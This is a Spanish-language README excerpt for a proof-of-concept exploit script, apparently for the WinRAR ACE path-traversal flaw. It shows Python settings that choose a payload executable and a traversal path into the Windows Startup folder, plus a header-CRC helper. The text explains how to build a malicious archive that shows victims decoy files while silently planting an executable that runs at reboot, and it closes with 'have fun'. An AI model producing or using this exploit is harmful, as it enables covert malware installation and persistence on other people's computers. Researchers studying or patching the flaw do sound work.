
exp para Extrayendo ejecución de código desde Winrar
poc por Ridter
¿cómo se usa?
solo necesitas instalar Python 3.7 y preparar un archivo malicioso que quieras ejecutar, establece los valores que quieras, este script exp generará automáticamente el archivo comprimido malicioso!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
ejecuta el exp, el exp generó el test.rar automáticamente
si la víctima abre el test.rar, verá los archivos hello.txt y world.txt, también puedes agregar más archivos, archivos más atractivos.
![]()
hi.exe, en realidad es un calc.exe. cuando reinicie el ordenador, el hi.exe se ejecutará.![]()
¡diviértete! :)